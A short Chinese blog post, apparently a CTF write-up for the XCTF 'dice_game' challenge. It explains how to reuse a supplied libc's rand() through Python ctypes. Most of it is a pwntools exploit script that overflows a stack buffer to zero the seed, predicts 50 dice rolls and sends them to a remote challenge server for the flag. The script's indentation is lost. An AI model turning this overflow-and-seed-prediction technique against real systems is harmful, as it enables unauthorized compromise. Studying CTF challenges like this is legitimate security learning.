使用指定libc生成随机数

0x00 前言

题目给了一个libc,需要使用到该libc中的随机数生成函数。

0x01 案例

题目来源:xctf攻防世界

题目附件:http://my.aidmong.cn/blogfile/pwn/20190430/attachment.zip

通过栈溢出,覆盖“种子”,调用libc的随机数生成函数计算出50个(伪)随机数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from ctypes import *

context.log_level = 'debug'
libc = cdll.LoadLibrary("libc.so.6")
res = []

def dice_game():
for i in range(50):
rand = libc.rand()
res.append(rand % 6 + 1)
print res

# p = process('./dice_game')
p = remote('111.198.29.45', 59653)
dice_game()

payload = 'a'*0x40 + p64(0)
p.sendlineafter("your name: ", payload)
for point in res:
p.sendlineafter("point(1~6): ", str(point))

p.recvline()
p.recvline()
flag = p.recvline()
print flag

×

亲,赏点嘛(づ ̄3 ̄)づ╭❤~

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 0x00 前言
  2. 2. 0x01 案例